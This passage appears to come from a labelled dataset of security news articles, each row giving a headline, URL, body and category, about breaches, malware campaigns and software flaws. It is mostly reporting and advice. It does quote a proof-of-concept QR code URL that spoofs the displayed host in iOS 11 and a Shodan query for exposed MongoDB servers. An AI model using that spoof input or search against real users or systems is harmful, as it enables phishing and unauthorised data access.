MacKeeper is a suite of software that claims to make Apple Macs more secure and stable, but today the anti-virus itself need some extra protection after a data breach exposed the personal and sensitive information for Millions of its customers.

The data breach was discovered by Chris Vickery, a white hat hacker who was able to download 13 Million customer records by simply entering a selection of IP addresses, with no username or password required to access the data.


21 GB Trove of MacKeeper Customer Data Leaked

31-year-old Vickery said he uncovered the 21 GB trove of MacKeeper customer data in a moment of boredom while searching for openly accessible databases on Shodan – a specialized search engine that looks for virtually anything connected to the Internet – that require no authentication.
""The search engine at Shodan.io had indexed their IPs as running publicly accessible MongoDB instances (as some have already guessed),"" Vickery said in a Reddit post. ""I had never even heard of MacKeeper or Kromtech until last night. I just happened upon it after being bored and doing a random ""port:27017"" search on Shodan.""
As a result, four IP addresses took him straight to a MongoDB database, containing a range of personal information, including:
Customer Names
Email addresses
Usernames
Password hashes
Mobile phone numbers
IP addresses
System information
Software licenses and activation codes

Security Product Using Weak Algorithm to Hash Passwords

Although the passwords were encrypted, Vickery believes that MacKeeper was using weak MD5 hashes to protect its customer passwords, allowing anyone to crack the passwords in seconds using MD5 cracking tools.

The company responded to the issue after Vickery posted it on Reddit, saying that the company had no evidence the data was accessed by malicious parties.
""Analysis of our data storage system shows only one individual gained access performed by the security researcher himself,"" Kromtech, the maker of MacKeeper, said in a statement. ""We have been in communication with Chris, and he has not shared or used the data inappropriately.""
Though the company claims Vickery was the only person to access the MacKeeper users''information; you should still change your MacKeeper passwords and passwords on websites that use the same password.

",Vulnerability
FBI Arrests 100 Hackers linked to Blackshades Malware,https://thehackernews.com/2014/05/fbi-arrests-100-hackers-linked-to_19.html,"On Friday, we reported about the large-scale operation of International raids launched by the FBI and other law enforcement officials in countries around the world to arrest the targeted customers of a popular Remote Administration Tool (RAT) called 'Blackshades,' which is designed to take over the remote control of the infected computers and steal information.

The news broke when various announcements on underground forums by hacking group members claimed that FBI especially going after all of them who purchased the hacking tool using PayPal as payment option.

Today, the UK's National Crime Agency announced that the raids took place in more than 100 of countries and they have arrested more than 100 people worldwide involved in the purchasing, selling or using the Blackshades malware.

More than half million computers in more than dozens of countries were infected by this sophisticated malware that has been sold on underground forums since at least 2010 to several thousands people, which cost between 40 and 100 dollars.

The Investigation involved the law enforcement coordination agencies Europol and Eurojust said Monday that authorities raided a total of 359 houses in 13 different European countries, including Austria, Belgium, Britain, Croatia, Denmark, Estonia, Finland, France, Germany, Italy, Moldova, the Netherlands and Switzerland, as well as in the United States, Canada and Chile, and seized cash, firearms, drugs and over 1,100 data storage devices including computers, laptops, mobile phones, routers etc.

""This case is a strong reminder that no one is safe while using the internet, and should serve as a warning and deterrent to those involved in the manufacture and use of this software,"" said Koen Hermans, an official representing the Netherlands in the European Union's criminal investigation coordination unit, Eurojust. ""This applies not only to victims, but also to the perpetrators of criminal and malicious acts. The number of countries involved in this operation has shown the inherent value in Eurojust's coordination meetings and coordination centres.""

As we reported in previous article, the Blackshades website (https://bshades.eu/) has now been seized by the FBI.

'Blackshades' is a remote administration tool (RAT) and is sold legally around the world but bad intention actors are using the tool as a malware for collecting private information of innocent users, including usernames and passwords for email and Web services, instant messaging applications, FTP clients and lots more.

In worst cases, the malicious program even allows hackers to take remote control of users' computer and webcam to take photos or videos without the knowledge of the computer owner.

The infected PCs can also be hijacked by the attackers to perform DDoS attacks and other illegal activities without any knowledge of its owner. The program modifies itself in such a way so that it remains elusive for antivirus software.

In 2012, while a very serious and bloody internal war between the government and the opposition forces, the BlackShades RAT was also used to infect and Spy on Syrian activists. However, in 2012, a developer of the Blackshades team was reportedly arrested and during same time the source code of the tool was also leaked on the Internet.

BlackShades tool was actually developed by an IT surveillance and security-based company, who promoted it as a tool for parents to monitor their Children activities and for finding the cheating partners in relationship. But, as usual every weapon could be used for both purposes, killing and saving lives.

",Malware
German Aerospace Center targeted by Self-Destructing Spyware,https://thehackernews.com/2014/04/Spyware-german-aerospace-center-cyber-espionage.html,"It's not so far when Germany confirmed its biggest Data theft in the country's history with the usernames and passwords of some 18 million email accounts stolen and compromised by Hackers, and now German space research center has been reportedly targeted in a cyber attack.

The new story broke by the German press, Der Spiegel on Sunday revealing that the German Aerospace Centre (DLR - Deutsches Zentrum für Luft- und Raumfahrt e. V.), the country's national center for aerospace, energy and transportation research located in Cologne has been reportedly targeted in a cyber attack out ""coordinated and systematic"", apparently launched by a foreign intelligence agency.

The systems used by administrators and scientists of the space research center have been found to be infected with Malware and spyware software, and as mention in the report, the attack was ""co-ordinated and systematic"" with the perfection of Trojan used.

SELF-DESTRUCTING MALWARE, WITH LOVE FROM CHINA
The espionage attack appears to be so complex that even the forensic investigators who have analyzed the infections unable to detect the actual malware, as some Trojans used were designed to self-destruct as soon as they discovered, while other malware remain mum for several months before being activated.

The report says all operating systems that are in use at German Aerospace Center (DLR) are affected by the cyber attacks. Yet, it is not at all clear that who is behind the cyber attacks. But, the evidence points towards China, as IT forensic experts of the Federal Office for Security in Information Technology (BSI) discovered ""Chinese characters"" in the malicious code of some Trojan and ""recurring typos"" suggest an attacker from the Far East.

Though, it could also be a ""simple camouflage"", an insider told Der Spiegel. As the U.S. intelligence agency NSA can't be completely ruled out, he added. But China would appear more likely on the first glance, rather than United States, because they are already at foremost position in space exploration.

The federal government categorizes the attack as extremely serious because among other things, the center gathers and reserves information on armament and rocket technologies as well.

",Cyber_Attack
OpenBSD Disables Intel Hyper-Threading to Prevent Spectre-Class Attacks,https://thehackernews.com/2018/06/openbsd-hyper-threading.html,"Security-oriented BSD operating system OpenBSD has decided to disable support for Intel's hyper-threading performance-boosting feature, citing security concerns over Spectre-style timing attacks.

Introduced in 2002, Hyper-threading is Intel's implementation of Simultaneous Multi-Threading (SMT) that allows the operating system to use a virtual core for each physical core present in processors in order to improve performance.

The Hyper-threading feature comes enabled on computers by default for performance boosting, but in a detailed post published Tuesday, OpenBSD maintainer Mark Kettenis said such processor implementations could lead to Spectre-style timing attacks.
""SMT (Simultaneous multithreading) implementations typically share TLBs and L1 caches between threads,"" Kettenis wrote. ""This can make cache timing attacks a lot easier, and we strongly suspect that this will make several Spectre-class bugs exploitable.""
In cryptography, side-channel timing attack allows attackers to compromise a system by analyzing the time taken to execute cryptographic algorithms. By measuring the precise time taken for each operation, an attacker can inversely calculate the input values to reveal confidential information.

Meltdown and Spectre-class vulnerabilities discovered earlier this year would be excellent examples of timing attacks.

Therefore, to prevent users of the OpenBSD operating system from such previously disclosed, as well as future timing attacks, the OpenBSD project has disabled the hyper-threading feature on Intel processors by default, as part of system hardening.

What About System Performance?

You might be thinking, removing this optimization feature could impact the performance of your system negatively, but OpenBSD doesn't think so.

Kettenis believes that switching off SMT will not have any negative effect on the system performance, saying leaving it enabled could actually slow down most compute workloads on CPUs with more than two physical cores.

Kettenis also stressed that OpenBSD will also disable the built-in SMT feature by default for CPUs from other vendors, like AMD, in the future.
""We really should not run different security domains on different processor threads of the same core,"" Kettenis wrote.
OpenBSD has rolled out a new setting via ""hw.smt sysctl"" that, by default, disables SMT support, and those who want to leverage simultaneous multithreading feature can manually enable it.

However, the new toggle feature only available for Intel CPUs running OpenBSD/amd64 for now and soon will be extended to other vendors and hardware architectures.

",Cyber_Attack
"Beware of Fraudulent Sites, phishing for Twitter accounts",https://thehackernews.com/2013/07/hacking-twitter-account-phishing-attack.html,"There's a scam spreading through Twitter Direct messages (DMs) and fake emails, appealing users to visit a fake twitter phishing site i.e ""twittler.com"". Scam uses a hijacked Twitter account to send out direct messages that appear completely legitimate.
Security blogger, Janne Ahlberg blogged about this new phishing scam, ""This is a nasty trick especially when the sender is someone you know and trust. If you receive a suspicious DM or email from a person you know and trust, just warn him/her – the account is most likely hijacked and controlled by the attackers.""

The webpage resembles a Twitter login page and is trying to obtain your Twitter login credentials with a domain name looks very similar to original Twitter.com, with two extra word ""LL"" in it.

To play it safe, double-check your browser address bar to make sure that's where you are on orginal website twitter.com before logging in.

If you enter your Twitter username and password into this site, you will become a victim of and the hacker will then control your Twitter account to hack more users via spamming them on your behalf.

What do you do if your account is hacked? Change your password immediately, Check what applications you've given access to your account, Revoke access for any suspicious applications, and delete tweets and DMs you sent and received while your account was compromised.

",Cyber_Attack
"Docker Hub Suffers a Data Breach, Asks Users to Reset Password",https://thehackernews.com/2019/04/docker-hub-data-breach.html,"Docker Hub, one of the largest cloud-based library of Docker container images, has suffered a data breach after an unknown attacker gained access to the company's single Hub database.

Docker Hub is an online repository service where users and partners can create, test, store and distribute Docker container images, both publicly and privately.

The breach reportedly exposed sensitive information for nearly 190,000 Hub users (that's less than 5 percent of total users), including usernames and hashed passwords for a small percentage of the affected users, as well as Github and Bitbucket tokens for Docker repositories.

Docker Hub started notifying affected users via emails informing them about the security incident and asking them to change their passwords for Docker Hub, as well as any online account using the same password.
""On Thursday, April 25th, 2019, we discovered unauthorized access to a single Hub database storing a subset of non-financial user data. Upon discovery, we acted quickly to intervene and secure the site.""

""For users with autobuilds that may have been impacted, we have revoked GitHub tokens and access keys, and ask that you reconnect to your repositories and check security logs to see if any unexpected actions have taken place.""

The company has not revealed any further details about the security incident or how the unknown attackers gained access to its database.
Docker says the company is continuing to investigate the security breach and will share more information as it becomes available.

The company is also working to enhance its overall security processes and reviewing its policies following the breach.

",Data_Breaches
Hacking Team Flash Zero-Day Linked to Cyber Attacks on South Korea and Japan,https://thehackernews.com/2015/07/Hacking-Team-Flash-Zero-Day.html,"The corporate data leaked in the recent cyber attack on the infamous surveillance software firm Hacking Team has revealed that the Adobe Flash zero-day (CVE-2015-5119) exploit has already been added to several exploit kits.

Security researchers at Trend Micro have discovered evidences of the Adobe Flash zero-day (CVE-2015-5119) exploit being used in a number of exploit kits before the vulnerability was publicly revealed in this week's data breach on the spyware company.

The successful exploitation of the zero-day Flash vulnerability could cause a system crash, potentially allowing an attacker to take full control of the affected system.

Adobe Flash Zero-Day Targeted Japan and Korea

According to the researchers, the zero-day exploit, about which the rest of the world got access on Monday, was apparently used in limited cyber attacks on South Korea and Japan.
""In late June, [Trend Micro] learned that a user in Korea was the attempted target of various exploits, including a Flash vulnerability (CVE-2014-0497) discovered last year,"" Weimin Wu, threat analyst at Trend Micro wrote.

""Traffic logs indicate the user may have received spear-phishing emails with attached documents…contained a URL for the user to visit. This URL led to a site hosted in the United States, which [included] a Flash exploit, detected as SWF_EXPLOYT.YYKI. This particular exploit targets the zero-day Adobe vulnerability that was disclosed during the Hacking Team leak.""
The zero-day exploit downloads a Trojan on the target victim's computer, which further downloads several other malicious payloads on the infected system.

Researchers say the zero-day exploit code they came across was very similar to the exploit code revealed as part of the Hacking Team data breach. This simply means the attack was conducted by someone with the access to the tools and services offered by Hacking Team.

However, Adobe has released a patch to address this Adobe Flash zero-day (CVE-2015-5119) vulnerability, thereby advising users to install the update as soon as possible.

",Vulnerability
Minecraft hacked! More than 1800 Minecraft account Credentials Leaked,https://thehackernews.com/2015/01/minecraft-game-hacked.html,"A sad reality for gamers all around the world who enjoy playing the very popular game Minecraft on their PCs. If you are one of them, you'll want to pay attention here.

A plain text file containing over 1,800 Minecraft account usernames and passwords has just been leaked online, German media reports. The details available in the leak has been posted to Pastebin, which would allow anyone to log into a legitimate user's account in order to play online and download the full version of the game to their own computers.

However, the more serious implication of the leaked credentials would be for those affected users who had used the same username and password combination for other online services, like shopping site, banking site, email service or for any social networking site.

Minecraft is an incredibly popular online game bought by Microsoft just few months back for $2.5 billion. The game has more than 100 million registered accounts for its PC version alone, and 1800 leaked accounts is just a fraction of the overall Minecraft population. This means its an extremely minor breach.

However, the problem could be serious for both Minecraft's developer Mojang and its parent company Microsoft if the leaked player data turns out to be just the beginning of the data breach.

Microsoft's Xbox Live gaming service has regularly been a target for hackers. On Christmas day, Microsoft's Xbox Live service knocked offline by hackers group, Lizard squad, who launched Distributed Denial of Service (DDoS) attack against the gaming network. Sony's Playstation was also targeted by the group at the same time. And now another gaming brand of Microsoft is under attack.
So far, there's no clue as to where the credentials obtained, or if the leak itself is a herald to a much larger attack targeted at Minecraft.
""There's no guarantee that whoever gained access to them hasn't got a whole lot more in their back pocket which they haven't chosen to release to the rest of the world,"" wrote Graham Cluley.
""There is no mention of the security breach on Minecraft's homepage, but my recommendation would be that if users have any concern that their accounts might be exposed to hackers that they should change their passwords immediately. It goes without saying that they should be particularly concerned if they are using the same password anywhere else on the web.""
At the moment, both Microsoft and Minecraft have not publicly acknowledged the leak. Just to keep yourself safe, we strongly recommend you to change your passwords to your Minecraft's account and others if you use the same as soon as possible.

",Data_Breaches
Beware of Fake 'WhatsApp Web' Spreading Banking Trojan,https://thehackernews.com/2015/02/whatsapp-web-malware.html,"Cybercriminals are known to take advantage of everything that captures public attention in order to spread malware, and the recently launched web client of the most popular WhatsApp messaging application seems to be their next target.

Last month, the messaging giant WhatsApp, with 700 million users worldwide, finally launched its web client to the public. The feature is called ""WhatsApp Web,"" which gives its users the ability to read and send messages directly from their web browsers.

FAKE WHATSAPP WEB SPREADING BANKING TROJANS
However, malicious hackers have taken the advantage of the latest WhatsApp Web and have started fooling users all over the world with fake downloads masquerading as a desktop variant of the WhatsApp mobile application.

Security researchers at Kaspersky Labs have spotted a seemingly genuine WhatsApp Web for Windows in spam campaign available for fake download that actually spreads financial malware Trojans to the systems worldwide.
""Fake downloads appeared in several languages and countries, and now there is a real product out there the fraudsters have returned to their old attacks, dressed them up in new clothes and sent them on the prowl for new victims,"" wrote Fabio Assolini from Kaspersky Lab.
APP MASQUERADE EXACTLY AS LEGITIMATE
Researchers found a number of malicious domains registered by the cybercriminals to host their malware. Some of them were already in use and others were waiting for command from the criminals. One such domain, whatsappcdesktop.com.br, was found to be distributing Brazilian banking Trojan.

Assolini also explained that the firm has discovered some cases where unsuspecting users have been fooled to install a suspicious Google Chrome extension shown as a simple messaging app, but in real has nothing to do with WhatsApp:


HACKERS GOAL - VICTIMS' MOBILE NUMBERS
The researchers also spotted many other promising but unofficial desktop versions of the fake Whatsapp Web offered to Arabic and Spanish language speakers as the legitimate version of the popular messaging application.

The main objective is to get the mobile phone number of the victims. In some cases, the attackers requested victims to enter and submit their mobile number in an attempt to download the fake Whatsapp Web client.

Once submitted, the attacker would be able to run spam campaigns or make the victims unknowingly subscribe to premium-rate services.

BE CAREFUL AND FOLLOW RECOMMENDATION
A single unwanted message could lead you to harmful pages hosting malware that can infect your phones and carry out malicious things even without your knowledge.

It is almost impossible to get rid of unwanted messages, however it is safer to access WhatsApp on the web from the official website located at https://web.whatsapp.com. So, users are recommended to refuse imitations and suspicious applications.

Late last month, a 17-year-old security researcher discovered a couple of security holes in the WhatsApp Web client that may expose profile pictures of WhatsApp Web users. However, that was no surprise as these types of small security and implementation flaws could be expected at this time, but one thing is guaranteed that the app will not lead you to any Malware.

",Malware
New windows malware can target smart cards for full remote access,https://thehackernews.com/2012/10/new-windows-malware-can-target-smart.html,"If you think that having a USB Token Smartcard is extremely secure for Digital signatures or other activities, you may be wrong! The research done by Paul Rascagneres can remotely give access to victims smartcard!

What makes the attack unique is it uses a keylogger to get the PIN or password and exports the complete USB device in raw to a command and control server (C&C) and uses a device driver to let the attacker use the victims smartcard remotely!

The attack also impacts the eID (Belgium identity card) and millions of USB Tokens for Digital Signatures in India by Directors, Secretaries and CA firms for filing returns and signing corporate documents!

To be showcased at MalCon next month - we asked Paul a few questions:

Does the malware infect the PC or the smartcard?
- The malware infects the PC not the hardware.

So the attacker can use the smartcard of the victim remotely?
- Exactly, the attacker can remotely use a smartcard connected to an infected computer.

What makes this attack unique?
- the attack is unique because I never see a sample that export USB device in raw to a C&C (some malware use smartcard API but never export the device).

What all kind of smart cards can be targeted using this approach? Can you list the most popular ones across the world?
- the malware works on every USB smartcard

Are any smart card devices used by companies like RSA affected?
- if RSA uses smartcard connected on USB, the malware may works

You can meet Paul Rascagneres in person when he will be visiting India to demonstrate the research live at the International Malware Conference, MalCon on 24th November, New Delhi!

",Malware
CCleaner Malware Infects Big Tech Companies With Second Backdoor,https://thehackernews.com/2017/09/ccleaner-malware-hacking.html,"The group of unknown hackers who hijacked CCleaner's download server to distribute a malicious version of the popular system optimization software targeted at least 20 major international technology companies with a second-stage payload.

Earlier this week, when the CCleaner hack was reported, researchers assured users that there's no second stage malware used in the massive attack and affected users can simply update their version in order to get rid of the malicious software.

However, during the analysis of the hackers' command-and-control (C2) server to which the malicious CCleaner versions connected, security researchers from Cisco's Talos Group found evidence of a second payload (GeeSetup_x86.dll, a lightweight backdoor module) that was delivered to a specific list of computers based on local domain names.

Affected Technology Firms

According to a predefined list mentioned in the configuration of the C2 server, the attack was designed to find computers inside the networks of the major technology firms and deliver the secondary payload. The target companies included:
Google
Microsoft
Cisco
Intel
Samsung
Sony
HTC
Linksys
D-Link
Akamai
VMware
In the database, researchers found a list of nearly 700,000 backdoored machines infected with the malicious version of CCleaner, i.e. the first-stage payload, and a list of at least 20 machines that were infected with the secondary payload to get a deeper foothold on those systems.

The CCleaner hackers specifically chose these 20 machines based upon their Domain name, IP address, and Hostname. The researchers believe the secondary malware was likely intended for industrial espionage.

CCleaner Malware Links to Chinese Hacking Group

According to the researchers from Kaspersky, the CCleaner malware shares some code with the hacking tools used by a sophisticated Chinese hacking group called Axiom, also known as APT17, Group 72, DeputyDog, Tailgater Team, Hidden Lynx or AuroraPanda.
""The malware injected into #CCleaner has shared code with several tools used by one of the APT groups from the #Axiom APT 'umbrella',"" tweeted director of Global Research and Analysis Team at Kaspersky Lab.
Cisco researchers also note that one configuration file on the attacker's server was set for China's time zone, which suggests China could be the source of the CCleaner attack. However, this evidence alone is not enough for attribution.

Cisco Talos researchers also said that they have already notified the affected tech companies about a possible breach.

Removing Malicious CCleaner Version would Not Help

Just removing the Avast's software application from the infected machines would not be enough to get rid of the CCleaner second stage malware payload from their network, with the attackers' still-active C2 server.

So, affected companies that have had their computers infected with the malicious version of CCleaner are strongly recommended to fully restore their systems from backup versions before the installation of the tainted security program.
""These findings also support and reinforce our previous recommendation that those impacted by this supply chain attack should not simply remove the affected version of CCleaner or update to the latest version, but should restore from backups or reimage systems to ensure that they completely remove not only the backdoored version of CCleaner but also any other malware that may be resident on the system,"" the researchers say.
For those who are unaware, the Windows 32-bit version of CCleaner v5.33.6162 and CCleaner Cloud v1.07.3191 were affected by the malware, and affected users should update the software to version 5.34 or higher.

",Malware
New Rowhammer Attack Can Hijack Computers Remotely Over the Network,https://thehackernews.com/2018/05/rowhammer-attack-exploit.html,"Exploitation of Rowhammer attack just got easier.

Dubbed 'Throwhammer,' the newly discovered technique could allow attackers to launch Rowhammer attack on the targeted systems just by sending specially crafted packets to the vulnerable network cards over the local area network.

Known since 2012, Rowhammer is a severe issue with recent generation dynamic random access memory (DRAM) chips in which repeatedly accessing a row of memory can cause ""bit flipping"" in an adjacent row, allowing anyone to change the contents of computer memory.

The issue has since been exploited in a number of ways to achieve remote code execution on the vulnerable computers and servers.

Just last week, security researchers detailed a proof-of-concept Rowhammer attack technique, dubbed GLitch, that leverages embedded graphics processing units (GPUs) to carry out Rowhammer attacks against Android devices.

However, all previously known Rowhammer attack techniques required privilege escalation on a target device, meaning attackers had to execute code on targeted machines either by luring victims to a malicious website or by tricking them into installing a malicious app.

Unfortunately, this limitation has now been eliminated, at least for some devices.

Researchers at the Vrije Universiteit Amsterdam and the University of Cyprus have now found that sending malicious packets over LAN can trigger the Rowhammer attack on systems running Ethernet network cards equipped with Remote Direct Memory Access (RDMA), which is commonly used in clouds and data centers.

Since RDMA-enabled network cards allow computers in a network to exchange data (with read and write privileges) in the main memory, abusing it to access host's memory in rapid succession can trigger bit flips on DRAM.

""We rely on the commonly-deployed RDMA technology in clouds and data centers for reading from remote DMA buffers quickly to cause Rowhammer corruptions outside these untrusted buffers,"" researchers said in a paper [PDF] published Thursday.
""These corruptions allow us to compromise a remote Memcached server without relying on any software bug.""

Since triggering a bit flip requires hundreds of thousands of memory accesses to specific DRAM locations within tens of milliseconds, a successful Throwhammer attack would require a very high-speed network of at least 10Gbps.

In their experimental setup, researchers achieved bit flips on a targeted server after accessing its memory 560,000 times in 64 milliseconds by sending packets over LAN to its RDMA-enabled network card.

Since Rowhammer exploits a computer hardware weakness, no software patch can completely fix the issue. Researchers believe the Rowhammer threat is not only real but also has potential to cause real, severe damage.

For more in-depth details on the new attack technique, you can head on to this paper [PDF], titled ""Throwhammer: Rowhammer Attacks over the Network and Defenses,"" published by the researchers on Thursday.

",Vulnerability
Researchers Uncover Android Spying Campaign Targeting Pakistan Officials,https://thehackernews.com/2021/02/researchers-uncover-android-spying.html,"Two new Android surveillanceware families have been found to target military, nuclear, and election entities in Pakistan and Kashmir as part of a pro-India, state-sponsored hacking campaign.
Dubbed Hornbill and Sunbird, the malware impersonates legitimate or seemingly innocuous services to cover its tracks, only to stealthily collect SMS, encrypted messaging app content, and geolocation, among other types of sensitive information.
The findings published by Lookout is the result of an analysis of 18GB of exfiltrated data that was publicly exposed from at least six insecurely configured command-and-control (C2) servers located in India.
""Some notable targets included an individual who applied for a position at the Pakistan Atomic Energy Commission, individuals with numerous contacts in the Pakistan Air Force (PAF), as well as officers responsible for electoral rolls (Booth Level Officers) located in the Pulwama district of Kashmir,"" the researchers said in a Wednesday analysis.
In all, the attacks targeted 156 victims with phone numbers from India, Pakistan, and Kazakhstan over the last several years.
Lookout attributed the two tools to an advanced persistent threat (APT) tracked as Confucius, a group known for its attacks on South Asian countries at least since 2013. The cybersecurity firm called Hornbill a ""passive reconnaissance tool.""
While Hornbill appears to be derived from the same code base as a previously active commercial surveillance product known as MobileSpy, SunBird has been traced to a group of Indian developers behind another mobile tracking software called BuzzOut. Clues uncovered by the Lookout also point to the fact the operators of Hornbill worked together at various Android and iOS app development companies registered and operating in or near the Indian city of Chandigarh.
Both the pieces of spyware are equipped to amass a wide range of data, such as call logs, contacts, system information, location, photos stored on external drives, record audio and video, capture screenshots, with a particular focus on plundering WhatsApp messages and voice notes by abusing Android's accessibility APIs.
SunBird also differs from Hornbill in that the former features remote access Trojan (RAT) functionality, allowing the attackers to execute arbitrary commands on the target device. In addition, it's capable of exfiltrating browser histories, calendar information, and even siphoning content from BlackBerry Messenger and IMO instant messaging apps.
""Samples of SunBird have been found hosted on third-party app stores, indicating one possible distribution mechanism,"" the researchers detailed. ""Considering many of these malware samples are trojanized – as in they contain complete user functionality — social engineering may also play a part in convincing targets to install the malware.""
Lookout identified Hornbill samples as recently as December 2020, indicating an active use of the malware since their discovery in 2018. On the other hand, Sunbird seems to have been actively deployed in 2018 and 2019, before the threat actor shifted to another Android-based spyware product called ChatSpy last year.
Interestingly, the C2 infrastructure shared by Hornbill and SunBird reveals further connections with other stalkerware operations conducted by the Confucius group — including a publicly-accessible 2018 Pakistani government advisory warning of a desktop malware campaign targeting officers and government personnel — implying that the two tools are used by the same actor for different surveillance purposes.
Although India has been a relatively new entrant in the spyware and surveillance sector, Citizen Lab researchers last June outed a mercenary hack-for-hire group based in Delhi called BellTroX InfoTech that aimed to steal credentials from journalists, advocacy groups, investment firms, and an array of other high-profile targets.

",Malware
Libssh Releases Update to Patch 9 New Security Vulnerabilities,https://thehackernews.com/2019/03/libssh2-vulnerabilities.html,"Libssh2, a popular open source client-side C library implementing the SSHv2 protocol, has released the latest version of its software to patch a total of nine security vulnerabilities.

The Libssh2 library is available for all major distributors of the Linux operating systems, including Ubuntu, Red Hat, Debian, and also comes bundled within some distributions and software as a default library.

According to an advisory published Monday, all the below listed vulnerabilities that were patched with the release of libssh2 version 1.8.1 lead to memory corruption issues which could result in arbitrary code execution on a client system in certain circumstances.

Here's the list of security vulnerabilities patched in Libssh:

1. CVE-2019-3855: Possible integer overflow in transport read that could lead to an out-of-bounds write. A malicious server, or a remote attacker who compromises an SSH server, could send a specially crafted packet which could result in executing malicious code on the client system when a user connects to the server.

2. CVE-2019-3856: Possible integer overflow in keyboard interactive handling allows out-of-bounds write. A malicious or a compromised SSH server can exploit client system by sending a value approaching unsigned int max number of keyboard prompt requests.

3. CVE-2019-3857: Possible integer overflow issue leads to zero-byte allocation and out-of-bounds write. A malicious server could send an SSH_MSG_CHANNEL_REQUEST packet with an exit signal message with a length of max unsigned integer value.

4. CVE-2019-3858: Possible zero-byte allocation leading to an out-of-bounds. Attacking server can send a specially crafted partial SFTP packet with a zero value for the payload length, allowing attackers to cause a Denial of Service or read data in the client memory.

5. CVE-2019-3859: Out-of-bounds reads with specially crafted payloads due to unchecked use of ""_libssh2_packet_require and _libssh2_packet_requirev."" A server could send a specially crafted partial packet in response to various commands such as: sha1 and sha226 key exchange, user auth list, user auth password response, allowing attackers to cause a Denial of Service or read data in the client memory.

6. CVE-2019-3860: Out-of-bounds reads with specially crafted SFTP packets that also lead to Denial of Service or read data in the client memory attacks.

7. CVE-2019-3861: Out-of-bounds reads with specially crafted SSH packets that occurs when the padding length value is greater than the packet length, resulting in the parsing of the corrupted packet.

8. CVE-2019-3862: An out of bounds read issue occurs when the server sends specially crafted SSH_MSG_CHANNEL_REQUEST packets with an exit status message and no payload, resulting in Denial of Service or read data in the client memory.

9. CVE-2019-3863: Integer overflow in the user authenticated keyboard interactive allows out-of-bounds writes.

These security vulnerabilities affect all versions of Libssh2 prior to version 1.8.1, and fortunately, there is reportedly no known exploits of these flaw at this time on the Internet.

Chris Coulson of Canonical Ltd. was credited for discovering all the nine security vulnerabilities and responsibly disclosing them to the Libssh developers.

If you are using Libssh, install the updated version of Libssh as soon as possible.

This is not the first time when the popular library has been found vulnerable to security issues. Late last year, its developers patched a four-year-old severe vulnerability in Libssh that allowed unauthenticated attackers to gain unfettered administrative control over a vulnerable server without requiring a password.

",Vulnerability
QR Code Bug in Apple iOS 11 Could Lead You to Malicious Sites,https://thehackernews.com/2018/03/ios-qr-code-camera.html,"A new vulnerability has been disclosed in iOS Camera App that could be exploited to redirect users to a malicious website without their knowledge.

The vulnerability affects Apple's latest iOS 11 mobile operating system for iPhone, iPad, and iPod touch devices and resides in the built-in QR code reader.

With iOS 11, Apple introduced a new feature that gives users ability to automatically read QR codes using their iPhone's native camera app without requiring any third-party QR code reader app.

You need to open the Camera app on your iPhone or iPad and point the device at a QR code. If the code contains any URL, it will give you a notification with the link address, asking you to tap to visit it in Safari browser.

However, be careful — you may not be visiting the URL displayed to you, security researcher Roman Mueller discovered.

According to Mueller, the URL parser of built-in QR code reader for iOS camera app fails to detect the hostname in the URL, which allows attackers to manipulate the displayed URL in the notification, tricking users to visit malicious websites instead.
For the demo, the researcher created a QR code (shown above) with the following URL:
https://xxx\@facebook.com:443@infosec.rm-it.de/

If you scan it with the iOS camera app, it will show following notification:
Open ""facebook.com"" in Safari

When you tap it to open the site, it will instead open:
https://infosec.rm-it.de/

I have tested the vulnerability, as shown in the screenshot above, on my iPhone X running iOS 11.2.6 and it worked.

QR (Quick Response) code is a quick and convenient way to share information, but the issue becomes particularly more dangerous when users rely on QR codes for making quick payments or opening banking websites, where they might end up giving their login credentials away to phishing websites.

The researcher had already reported this flaw to Apple in December last year, but Apple hasn't yet fixed the bug to the date.

",Vulnerability
Unpatched Strandhogg Android Vulnerability Actively Exploited in the Wild,https://thehackernews.com/2019/12/strandhogg-android-vulnerability.html,"Cybersecurity researchers have discovered a new unpatched vulnerability in the Android operating system that dozens of malicious mobile apps are already exploiting in the wild to steal users' banking and other login credentials and spy on their activities.

Dubbed Strandhogg, the vulnerability resides in the multitasking feature of Android that can be exploited by a malicious app installed on a device to masquerade as any other app on it, including any privileged system app.

In other words, when a user taps the icon of a legitimate app, the malware exploiting the Strandhogg vulnerability can intercept and hijack this task to display a fake interface to the user instead of launching the legitimate application.

By tricking users into thinking they are using a legitimate app, the vulnerability makes it possible for malicious apps to conveniently steal users' credentials using fake login screens, as shown in the video demonstration.

""The vulnerability allows an attacker to masquerade as nearly any app in a highly believable manner,"" the researchers said.

""In this example, the attacker successfully misleads the system and launches the spoofing UI by abusing some task state transition conditions, i.e., taskAffinity and allowTaskReparenting.""

""When the victim inputs their login credentials within this interface, sensitive details are immediately sent to the attacker, who can then login to, and control, security-sensitive apps.""


Besides phishing login credentials, a malicious app can also escalate its capabilities significantly by tricking users into granting sensitive device permissions while posing as a legitimate app.

""An attacker can ask for access to any permission, including SMS, photos, microphone, and GPS, allowing them to read messages, view photos, eavesdrop, and track the victim's movements.""

Discovered by researchers at Norwegian security firm Promon, Strandhogg task hijacking attacks are potentially dangerous because:

it is almost impossible for targeted users to spot the attack,
it can be used to hijack the task of any app installed on a device,
it can be used to request any device permission fraudulently,
it can be exploited without root access,
it works on all versions of Android, and
it doesn't need any special permissions on the device.

Promon spotted the vulnerability after analyzing a malicious banking Trojan app that hijacked bank accounts of several customers in the Czech Republic and stole their money.


According to the researchers, some of the identified malicious apps were also being distributed through several droppers and hostile downloader apps available on the Google Play Store.
Mobile security firm Lookout then also analysed the malicious sample and confirmed that they had identified at least 36 malicious apps in the wild that are exploiting the Strandhogg vulnerability.

""These apps have now been removed, but in spite of Google's Play Protect security suite, dropper apps continue to be published and frequently slip under the radar, with some being downloaded millions of times before being spotted and deleted,"" researchers say.

Promon reported the Strandhogg vulnerability to the Google security team this summer and disclosed details today when the tech giant failed to patch the issue even after a 90-day disclosure timeline.

Though there is no effective and reliable way to block or detect task hijacking attacks, users can still spot such attacks by keeping an eye on discrepancies, like:

an app you're already logged into is asking for a login,
permission popups that do not contain an app name,
permissions asked from an app that shouldn't require or need the permissions it asks for,
buttons and links in the user interface do nothing when clicked on,
The back button does not work as expected.

",Vulnerability
All Android Phones Vulnerable to Extremely Dangerous Full Device Takeover Attack,https://thehackernews.com/2017/05/android-hacking-technique.html,"Researchers have discovered a new attack, dubbed 'Cloak and Dagger', that works against all versions of Android, up to version 7.1.2.

Cloak and Dagger attack allows hackers to silently take full control of your device and steal private data, including keystrokes, chats, device PIN, online account passwords, OTP passcode, and contacts.

